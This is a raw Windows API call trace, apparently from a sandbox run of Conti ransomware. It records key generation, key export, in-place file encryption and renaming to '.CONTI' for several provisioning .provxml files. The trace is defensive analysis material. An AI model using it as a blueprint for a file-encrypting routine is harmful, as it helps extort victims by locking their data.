	[0111.530] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2cc, lpOverlapped=0x0) returned 1
	[0111.530] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2cc, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0111.530] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.530] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.530] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.530] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f56d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f56d0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.530] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.530] CloseHandle (hObject=0x3d8) returned 1
	[0111.531] GetProcessHeap () returned 0x1720000
	[0111.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.531] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml"
	[0111.531] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.531] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\401__Connections_Cellular_Vodacom SA (South Africa)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\401__connections_cellular_vodacom sa (south africa)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.531] GetProcessHeap () returned 0x1720000
	[0111.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.531] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.531] GetProcessHeap () returned 0x1720000
	[0111.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c2b0 | out: hHeap=0x1720000) returned 1
	[0111.532] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.532] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f6b60 | out: phKey=0x17f6b60*=0x17c8030) returned 1
	[0111.532] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f6b64, pdwDataLen=0x3a7ff24 | out: pbData=0x17f6b64*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.532] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.533] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.533] GetLastError () returned 0x0
	[0111.533] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=851) returned 1
	[0111.533] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0111.533] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.533] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.533] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.533] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.533] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f6b64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f6b64*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.536] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.536] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x353, lpOverlapped=0x0) returned 1
	[0111.536] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x353, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x360) returned 1
	[0111.537] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.537] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x360, lpOverlapped=0x0) returned 1
	[0111.537] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.537] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f6b58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f6b58*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.537] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.537] CloseHandle (hObject=0x3d8) returned 1
	[0111.537] GetProcessHeap () returned 0x1720000
	[0111.537] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.537] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml"
	[0111.537] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.537] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\402__connections_cellular_movistar (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.538] GetProcessHeap () returned 0x1720000
	[0111.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.538] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0111.538] GetProcessHeap () returned 0x1720000
	[0111.538] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572700 | out: hHeap=0x1720000) returned 1
	[0111.538] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.538] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f7fe8 | out: phKey=0x17f7fe8*=0x17c8030) returned 1
	[0111.538] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f7fec, pdwDataLen=0x3a7ff24 | out: pbData=0x17f7fec*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.539] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.539] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.540] GetLastError () returned 0x0
	[0111.540] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=858) returned 1
	[0111.540] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35a
	[0111.540] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.540] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.540] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.540] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.540] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f7fec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f7fec*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.687] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.687] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x35a, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x35a, lpOverlapped=0x0) returned 1
	[0112.687] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x35a, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x360) returned 1
	[0112.687] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.687] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x360, lpOverlapped=0x0) returned 1
	[0112.687] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.687] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f7fe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f7fe0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0112.687] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.687] CloseHandle (hObject=0x3d8) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.194] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml"
	[0114.194] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.194] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\403__connections_cellular_movistar (spain)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.195] GetProcessHeap () returned 0x1720000
	[0114.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.195] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.195] GetProcessHeap () returned 0x1720000
	[0114.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574330 | out: hHeap=0x1720000) returned 1
	[0114.195] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.195] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ebc0 | out: phKey=0x6b4ebc0*=0x17c8030) returned 1
	[0114.195] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ebc4, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4ebc4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.196] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.196] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.196] GetLastError () returned 0x0
	[0114.196] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=709) returned 1
	[0114.196] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0114.196] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.197] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.197] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.197] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.197] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4ebc4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4ebc4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.200] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.200] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2c5, lpOverlapped=0x0) returned 1
	[0114.200] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2c5, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0114.200] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.200] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.200] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.200] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4ebb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4ebb8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.200] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.200] CloseHandle (hObject=0x3d8) returned 1
	[0114.200] GetProcessHeap () returned 0x1720000
	[0114.200] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.200] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml"
	[0114.200] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.200] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\719__connections_cellular_sasktel (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.201] GetProcessHeap () returned 0x1720000
	[0114.201] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.201] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.201] GetProcessHeap () returned 0x1720000
	[0114.201] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b558e0 | out: hHeap=0x1720000) returned 1
